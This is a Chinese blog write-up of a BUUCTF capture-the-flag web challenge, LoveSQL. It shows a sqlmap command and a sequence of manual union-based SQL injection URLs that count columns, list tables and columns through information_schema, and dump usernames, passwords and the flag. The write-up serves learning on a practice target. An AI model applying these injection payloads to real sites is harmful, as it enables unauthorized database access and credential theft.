CTF-Web-[极客大挑战 2019]LoveSQL
2020-05-03 本文已影响0人
归子莫
CTF-Web-[极客大挑战 2019]LoveSQL
博客说明
文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!
CTP平台
网址
题目
Web类,[极客大挑战 2019]LoveSQL

打开题目的实例

思路
看到这个熟悉的界面,看到最上面那个文字,这是故意提示我们不要有灵魂吗?纠结了一番,先不要灵魂试试?
首先使用万能密码

然后它提示这么一段

sqlmap
一个用来做sql注入攻击的工具,需要的环境是python2
网址

下载好之后执行测试一下

使用
python2 sqlmap.py -u "http://4d91e525-d2ba-4e32-b41b-7c1f5b5a4edc.node3.buuoj.cn/check.php\?username\=admin\&password\=593d6eb3b24072820d5fb5c95e8389b4" --dbs

好像没成功,那我们恢复灵魂
爆破
最终我们的目的都是要获得数据库的一些字段
爆破字段数
admin ' order by 1 #
输入框的时候用#,在地址栏的时候使用%23
在进行到4的时候报错
/check.php?username=admin' order by 4%23&password=1

说明字段数为4
用union
查询测试注入点(回显点位)
/check.php?username=1' union select 1,2,3%23&password=1

得到回显点位为2和3
爆破数据库
/check.php?username=1' union select 1,database(),version()%23&password=1

得到数据库的名字为geek
爆破数据表
/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

得到以上两个数据表
爆破字段
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='geekuser'%23&password=1
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
两个表好像都是这个

爆破数据
/check.php?username=1' union select 1,2,group_concat(id,username,password) from geekuser%23&password=1
/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
geekuser表

l0ve1ysq1表

发现已经找到了flag,但是不全,打开源代码

感谢
BUUCTF
以及勤劳的自己